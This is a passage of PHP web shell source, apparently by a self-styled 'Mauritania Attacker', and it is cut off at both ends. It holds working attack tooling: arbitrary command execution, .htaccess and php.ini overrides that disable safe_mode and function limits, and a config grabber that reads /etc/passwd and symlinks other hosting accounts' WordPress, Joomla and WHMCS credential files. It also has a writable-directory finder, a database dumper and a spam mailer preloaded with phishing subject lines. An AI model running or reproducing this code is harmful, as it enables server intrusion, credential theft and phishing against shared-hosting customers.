SymLink With PHP<br><input type=text name=mrc1 size=50><br> <br><input type=text value="\'.getcwd().$slash."symlink.txt".\'" name=mrc2 

size=50><br><br><input type=submit value=Submit><p align="center"></form>
<form method=post action="\'.$s.\'"><p align="center"><br>

SymLink With OS : <br><input type=text name=mrci1 size=50><br> <br><input type=text value="\'.getcwd().$slash."symlink.txt".\'" name=mrci2 

size=50><br><br><input type=submit value=Submit>
</p></form><br>\';
if ($_POST[\'mrc1\'] && $_POST[\'mrc2\']){
if (symlink($_POST[\'mrc1\'],$_POST[\'mrc2\'])){
echo "<script>alert(\'Symlink Worked\')</script>";
}else{
echo "<script>alert(\'Symlink Not Worked\')</script>";
}}
if ($_POST[\'mrci1\'] && $_POST[\'mrci2\']){
if (system(\'ls -s \'.$_POST[\'mrci1\']." ".$_POST[\'mrci2\'])){
echo "<script>alert(\'Symlink Worked\')</script>";
}else{echo "<script>alert(\'Symlink Didn\'t Work\')</script>";
}}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'ensim\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Enable Symlink If Disabled</span><center><br>\';
echo \'<br><center><form method=post><br><br>
<input type=submit name=ens value="Bypass" /></form></center>\';
          
error_reporting(0);
            
if(isset($_POST[\'ens\']))
{
mkdir(\'ensim\',0755);
$rr  =\'<Directory "/">
Options All
Options +FollowSymLinks
Options +SymLinksIfOwnerMatch
Options +ExecCGI
AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Includes,Indexes,MultiViews,SymLinksIfOwnerMatch
</Directory>\';
$g = fopen(\'ensim/.htaccess\',\'w\');
fwrite($g,$rr);
echo "<br><br><font face=\'Tahoma\' color=\'#ff0000\' size=\'2pt\'>Symlink Function Enabled Successfully in apache pre main conf</font></center>";
} 
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'maiilllerrr\'){
echo \'<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Spam Mailer</span><center><br>\';
$testa = $_POST[\'veio\'];
if($testa != "") {
$message = $_POST[\'html\'];
$subject = $_POST[\'assunto\'].$_POST[\'assunto2\'];
$nome = $_POST[\'nome\'];
$de = $_POST[\'de\'];
$to = $_POST[\'emails\'];
$email = explode("
", $to);
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
$headers  = "MIME-Version: 1.0
";
$headers .= "Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Mailer: EDMAIL R6.00.02
Content-Length: 41061
";
$headers .= "From: ".$email[$i]."
";
if(mail($email[$i], $subject, $message, $headers))
echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#0982ba>Sent . . . *o*</font><br><hr class=style-three></center>";
else
echo "<center><font face=Arial size=2 color=898989>| Numero : [$count] <b>".$email[$i]."</b>: <font face=Arial size=2 color=#b41420>Error in Sending ? :(</font><br><hr class=style-three></center>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo ""; 

}


echo\'<html><head><title>|| Priv8 M@iler ||</title><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>\';

echo\'<body><center><form action="" method="post" enctype="multipart/form-data" name="form1"><div class="style2"><input type="hidden" name="veio" value="sim">
<tr><center>
<table style="width: 100%"></center>
<tr>
<td style="width: 1686px">
<center><table border="0" width="80%" bordercolorlight="#007700" bordercolordark="#007700" style="border: 1px solid #007700; border-radius:4px;" bgcolor="#222222" > 
<td height="25" align="center" bgcolor="#222222" style="width: 849px">
<img alt="" height="120" src="http://icons.iconarchive.com/icons/iconshock/real-vista-mail/256/inbox-icon.png" width="250"></td><tr align="center"> 
<td style="width: 849px" ><font class="fontx1">
</td>
</center>
</tr>
<tr>
<td height="194" valign="top" bgcolor="#222222" style="width: 849px">
<table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
<tr><td height="17" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| SUBJECT :</font></b></td>
<td height="17"><select name="assunto" id="assunto" class="form2" style="width: 250px">
<option selected value="">Select Title</option>
<option value="Test Test">Test Test</option>
<option value="Apple Expiration de Votre Compte Ref : MNE0-13NB">Apple Expiration de Votre Compte Ref : MNE0-13NB</option>
<option value="You may to Update Your Account ID">You may to Update Your Account ID</option>
<option value="Update your account information">Update your account information</option>
<option value="Your account has been limited until we hear from you">Your account has been limited until we hear from you</option>
</select><font class="fontx1"> OR <input name="assunto2" id="assunto" class="form2" type="text" style="width: 280px">
</td></tr><tr align="center" bgcolor="#007700">
<td height="20" colspan="2" bgcolor="#222222" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
|LETTER :</font></b></td></tr>
<tr align="right">
<td height="146" colspan="2" valign="top"><br>
<textarea class="area" name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="20"></textarea>
<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Reminder : Text HTML |</font></b></td>
</tr><tr align="center" bgcolor="#222222">
<td height="10" colspan="2" class="style1"><b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">
| MAILING LIST :</font></b></tr>
<tr align="right">
<td height="136" colspan="2" valign="top"><br>
<textarea class="area" name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="20">
[email protected]</textarea>
<b><font face:Tahoma, Geneva, sans-serif; color="#009900" size="2pt">| Mail List |</font></b> </td>
</tr><tr>
<td height="26" valign="top" colspan="2" class="style1"><input class="button grey" type="submit" name="Submit" value="Send Message"></td>
</tr></table></td></tr></table></center><br><br></td>
</div>
</form>
</body>\';
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'simby\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> 
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Bypass 2014 by Mauritania Attacker</span><center><br>\';
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo\'<form method="post">
<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input type="text" name="ghostfile" value="output.txt" size="60"/><br /><br />
<input type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
\';
echo \'<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">\';echo phpversion();

$fichier = $_POST[\'file\'];
$ghostfile = $_POST[\'ghostfile\'];
$symlink = $_POST[\'symlink\'];

if ($symlink)
{


$dir = "mauritania";
if(file_exists($dir)) {
echo "<br><font color=\'red\'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />
";
} else {
@mkdir($dir); {
echo "<br><font color=\'red\'>\!/ mauritania Folder Created ^_^ \!/</font><br />
";
echo "<br><font color=\'red\'>\!/ $ghostfile Retrieved Successfully ^_^ \!/</font><br />
";
} 
}

// Extract Priv8 htaccess File //					
$priv9  = "#Priv9 htaccess By Mauritania Attacker
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
$f =@fopen (\'mauritania/.htaccess\',\'w\');
@fwrite($f , $priv9);

@symlink("$fichier","mauritania/$ghostfile");

echo \'<br /><a target="_blank" href="mauritania/" >\'.$ghostfile.\'</a>\';
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'cmd\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Command Execution</span><center><br>\';
echo \'
<form method=get action="\'.$me.\'">
<p>
<textarea class="area" rows="17" name="S1" cols="70" >\';
if (strlen($_GET[\'command\'])>1 && $_GET[\'execmethod\']!="popen"){
echo $_GET[\'execmethod\']($_GET[\'command\']);}
if (strlen($_POST[\'command\'])>1 && $_POST[\'execmethod\']!="popen"){
echo $_POST[\'execmethod\']($_POST[\'command\']);}

if (strlen($_GET[\'command\'])>1 && $_GET[\'execmethod\']=="popen"){
popen($_GET[\'command\'],"r");}

echo\'</textarea></p><br><p align="center">
<input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
  <option value="system">System</option>  <option value="exec">Exec</option>  <option value="passthru">Passthru</option><option value="popen">popen</option>
</select> <input type="submit" value="Execute">
</p></form>\';

}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'com64\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Base64 Command</span><center><br>\';
echo \'  <tr>
    <td width="100%" height="1">\';
if (empty($_POST[\'fak\'])){
echo \'<form method="POST"><input type="text" name="fak" size="70" value="/home/user/public_html/index.php"> <input type="submit" value="Encode"></form><br>\';
}else{
$b4se64 =$_POST[\'fak\'];
$heno =base64_encode($b4se64);
echo \'<p align="center">\';
echo \'<textarea method="POST" rows="1" cols="60" wrar="off">\';
print $heno;
echo \'</textarea>\';
}
echo \'<form method="post" /><input type="text" name="coz" size="43" value="L2V0Yy9wYXNzd2Q=" /> <input type="submit" value="Execute" /> <select name=dec><option value=show>Read</option><option value=decode>Command</option></select></form><br>\';
if( !empty($_POST[\'coz\']) )
if ($dec==\'decode\'){echo \'<form name=form method=POST>\';}
echo "<p align=center><textarea class=\'area\' method=\'POST\' name=\'codene\' cols=\'70\' rows=\'15\' wrar=\'off\' >";
$ss=$_POST[\'coz\'];
$file = base64_decode($ss);
if((curl_exec(curl_init(\'file:ftp://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../\'.$file))) and empty($file))
if ($_POST[\'dec\']==\'decode\'){echo base64_encode($_POST[\'codene\']);}
echo \'</textarea></p>\';
echo \'</td>
</tr>\';

}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'vgrab\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Config Grabber</span>";?></center><br><center><?php if (empty($_POST[\'config\'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class=\'area\' rows=\'15\' cols=\'60\'><?php echo file_get_contents(\'/etc/passwd\'); ?></textarea><br><br><input name="config" class=\'inputzbut\' size="100" value="Fvck\'em!" type="submit"><br></form></center><br><?php }if ($_POST[\'config\']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die (\'<error>Symlink is disabled :( </error>\');}@mkdir(\'vwconfig\', 0755);@chdir(\'vwconfig\');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("
",$passwd);echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink(\'/home/\'.$user.\'/public_html/wp-config.php\',$user.\'-wp13.txt\');@symlink(\'/home/\'.$user.\'/public_html/wp/wp-config.php\',$user.\'-wp13-wp.txt\');@symlink(\'/home/\'.$user.\'/public_html/WP/wp-config.php\',$user.\'-wp13-WP.txt\');@symlink(\'/home/\'.$user.\'/public_html/wp/beta/wp-config.php\',$user.\'-wp13-wp-beta.txt\');@symlink(\'/home/\'.$user.\'/public_html/beta/wp-config.php\',$user.\'-wp13-beta.txt\');@symlink(\'/home/\'.$user.\'/public_html/press/wp-config.php\',$user.\'-wp13-press.txt\');@symlink(\'/home/\'.$user.\'/public_html/wordpress/wp-config.php\',$user.\'-wp13-wordpress.txt\');@symlink(\'/home/\'.$user.\'/public_html/Wordpress/wp-config.php\',$user.\'-wp13-Wordpress.txt\');@symlink(\'/home/\'.$user.\'/public_html/blog/wp-config.php\',$user.\'-wp13-Wordpress.txt\');@symlink(\'/home/\'.$user.\'/public_html/config.php\',$user.\'-configgg.txt\');@symlink(\'/home/\'.$user.\'/public_html/news/wp-config.php\',$user.\'-wp13-news.txt\');@symlink(\'/home/\'.$user.\'/public_html/new/wp-config.php\',$user.\'-wp13-new.txt\');@symlink(\'/home/\'.$user.\'/public_html/blog/wp-config.php\',$user.\'-wp-blog.txt\');@symlink(\'/home/\'.$user.\'/public_html/beta/wp-config.php\',$user.\'-wp-beta.txt\');@symlink(\'/home/\'.$user.\'/public_html/blogs/wp-config.php\',$user.\'-wp-blogs.txt\');@symlink(\'/home/\'.$user.\'/public_html/home/wp-config.php\',$user.\'-wp-home.txt\');@symlink(\'/home/\'.$user.\'/public_html/db.php\',$user.\'-dbconf.txt\');@symlink(\'/home/\'.$user.\'/public_html/site/wp-config.php\',$user.\'-wp-site.txt\');@symlink(\'/home/\'.$user.\'/public_html/main/wp-config.php\',$user.\'-wp-main.txt\');@symlink(\'/home/\'.$user.\'/public_html/configuration.php\',$user.\'-wp-test.txt\');@symlink(\'/home/\'.$user.\'/public_html/joomla/configuration.php\',$user.\'-joomla2.txt\');@symlink(\'/home/\'.$user.\'/public_html/portal/configuration.php\',$user.\'-joomla-protal.txt\');@symlink(\'/home/\'.$user.\'/public_html/joo/configuration.php\',$user.\'-joo.txt\');@symlink(\'/home/\'.$user.\'/public_html/cms/configuration.php\',$user.\'-joomla-cms.txt\');@symlink(\'/home/\'.$user.\'/public_html/site/configuration.php\',$user.\'-joomla-site.txt\');@symlink(\'/home/\'.$user.\'/public_html/main/configuration.php\',$user.\'-joomla-main.txt\');@symlink(\'/home/\'.$user.\'/public_html/news/configuration.php\',$user.\'-joomla-news.txt\');@symlink(\'/home/\'.$user.\'/public_html/new/configuration.php\',$user.\'-joomla-new.txt\');@symlink(\'/home/\'.$user.\'/public_html/home/configuration.php\',$user.\'-joomla-home.txt\');@symlink(\'/home/\'.$user.\'/public_html/vb/includes/config.php\',$user.\'-vb-config.txt\');@symlink(\'/home/\'.$user.\'/public_html/whm/configuration.php\',$user.\'-whm15.txt\');@symlink(\'/home/\'.$user.\'/public_html/central/configuration.php\',$user.\'-whm-central.txt\');@symlink(\'/home/\'.$user.\'/public_html/whm/whmcs/configuration.php\',$user.\'-whm-whmcs.txt\');@symlink(\'/home/\'.$user.\'/public_html/whm/WHMCS/configuration.php\',$user.\'-whm-WHMCS.txt\');@symlink(\'/home/\'.$user.\'/public_html/whmc/WHM/configuration.php\',$user.\'-whmc-WHM.txt\');@symlink(\'/home/\'.$user.\'/public_html/whmcs/configuration.php\',$user.\'-whmcs.txt\');@symlink(\'/home/\'.$user.\'/public_html/support/configuration.php\',$user.\'-support.txt\');@symlink(\'/home/\'.$user.\'/public_html/configuration.php\',$user.\'-joomla.txt\');@symlink(\'/home/\'.$user.\'/public_html/submitticket.php\',$user.\'-whmcs2.txt\');@symlink(\'/home/\'.$user.\'/public_html/whm/configuration.php\',$user.\'-whm.txt\');}echo \'<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="vwconfig">Open configs</a></font></b>\';}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'cari\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Find Directory Writable/Readable</span></center><br><br>\'.$end; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!=\'.\') and ($file!=\'..\') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>

"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen(\'/etc/passwd\',\'r\'); if (!$passwd) { echo "<br><center><font color=\'#ff0000\' size=\'2pt\' />[-] No Access to /etc/passwd

</center>"; exit;} $path_to_public=array(); echo "<html><center><table style=\'margin: 0 auto;\'><tr valign=\'top\'><td align=\'left\'><font color=\'#007700\' size=\'2pt\' />

"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>

";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>

"; }}} echo "<br><br><font color=white size=2pt>[+]</font> <font color=#00dd00 size=2pt>Found </font><font color=yellow size=2pt>" . sizeof($path_to_public) . "</font> <font color=#00dd00 size=2pt>readable public_html directories.</font><br><br>


"; if (sizeof($path_to_public) != \'0\') { foreach ($path_to_public as $path) { } echo "<font color=white size=2pt>[+]</font> <font color=#00dd00 size=2pt>Found</font><font color=yellow size=2pt> " . $count . " </font><font color=#00dd00 size=2pt>writable directories.</font>

"; echo "</td></tr></table></center></html>";
}

}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'mysqslsls\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo"<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>MySQL & PostgreSql Connect</span><br><div class=content> 
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr> 
<td><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' />Type</td><td><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' />Host</td><td><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' />Login</td><td><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' />Password</td><td><font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' />Database</td><td></td></font></tr><tr> 
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'> 
<center><td><select name=\'type\'><option value=\'mysql\' "; 
if(@$_POST[\'type\']==\'mysql\')echo \'selected\'; 
echo ">MySql</option><option value=\'pgsql\' "; 
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\'; 
echo ">PostgreSql</option></select></td> 
<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td> 
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td> 
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>"; 
$tmp = "<input type=text name=sql_base value=\'\'>"; 
if(isset($_POST[\'sql_host\'])){ 
if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) { 
switch($_POST[\'charset\']) { 
case "Windows-1251": $db->setCharset(\'cp1251\'); break; 
case "UTF-8": $db->setCharset(\'utf8\'); break; 
case "KOI8-R": $db->setCharset(\'koi8r\'); break; 
case "KOI8-U": $db->setCharset(\'koi8u\'); break; 
case "cp866": $db->setCharset(\'cp866\'); break; 
} 
$db->listDbs(); 
echo "<select name=sql_base><option value=\'\'></option>"; 
while($item = $db->fetch()) { 
list($key, $value) = each($item); 
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\'; 
} 
echo \'</select>\'; 
} 
else echo $tmp; 
}else
echo $tmp; 
echo "</td> 
  
<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td> 
<td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <font face=\'Tahoma\' color=\'#007700\' size=\'2pt\' />count the number of rows</td></center> <br>
</tr> 
</table> <br>
<script> 
s_db=\'".@addslashes($_POST[\'sql_base\'])."\'; 
function fs(f) { 
if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; 
if(f.p1) f.p1.value=\'\'; 
if(f.p2) f.p2.value=\'\'; 
if(f.p3) f.p3.value=\'\'; 
} 
} 
function st(t,l) { 
d.sf.p1.value = \'select\'; 
d.sf.p2.value = t; 
if(l && d.sf.p3) d.sf.p3.value = l; 
d.sf.submit(); 
} 
function is() { 
for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i) 
d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked; 
} 
</script>"; 
if(isset($db) && $db->link){ 
echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; 
if(!empty($_POST[\'sql_base\'])){ 
$db->selectdb($_POST[\'sql_base\']); 
echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>"; 
$tbls_res = $db->listTables(); 
while($item = $db->fetch($tbls_res)) { 
list($key, $value) = each($item); 
if(!empty($_POST[\'sql_count\'])) 
$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\')); 
$value = htmlspecialchars($value); 
echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>"; 
} 
echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>"; 
if(@$_POST[\'p1\'] == \'select\') { 
$_POST[\'p1\'] = \'query\'; 
$_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1; 
$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']); 
$num = $db->fetch(); 
$pages = ceil($num[\'n\'] / 30); 
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">"; 
echo " of $pages"; 
if($_POST[\'p3\'] > 1) 
echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>"; 
if($_POST[\'p3\'] < $pages) 
echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>"; 
$_POST[\'p3\']--; 
if($_POST[\'type\']==\'pgsql\') 
$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30); 
else
$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\'; 
echo "<br><br>"; 
} 
if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) { 
$db->query(@$_POST[\'p2\']); 
if($db->res !== false) { 
$title = false; 
